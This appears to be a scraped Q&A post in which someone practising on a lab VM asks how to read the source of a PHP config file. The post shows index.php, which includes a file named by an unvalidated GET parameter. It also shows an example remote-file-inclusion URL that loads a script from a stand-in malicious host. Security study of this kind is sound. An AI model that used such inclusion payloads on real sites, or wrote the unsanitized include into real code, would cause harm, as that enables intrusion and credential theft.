Note that there are some explanatory texts on larger screens.

plurals
  1. POPHP security exploit - list content of remote PHP file?
    primarykey
    data
    text
    <p>I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named <code>setupreset.php</code> which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).</p> <p>This is the code of index.php, for reference: </p> <pre><code>&lt;?php include ("includes/header.php"); // Grab inputs $page = $_GET[page]; if ($page=="") { include("home.html"); } else { include ($page . '.php'); } include ("includes/footer.php"); ?&gt; </code></pre> <p>The main goal is to list the contents of the <code>setupreset</code> PHP file, or download it somehow. If I navigate to this file: <code>http://10.211.55.5/index.php?page=setupreset</code>, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter. </p> <p>Now, the website uses PHP <code>include</code>s, so URLs look like this: <code>http://10.211.55.5/index.php?page=products</code>. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. <code>http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php</code> but <code>allow_url_include</code> is <code>off</code> and cannot be changed, so this won't work (I tried this). However, <code>allow_url_fopen</code> is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of <code>setupreset.php</code> using this kind of exploit? </p>
    singulars
    1. This table or related slice is empty.
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload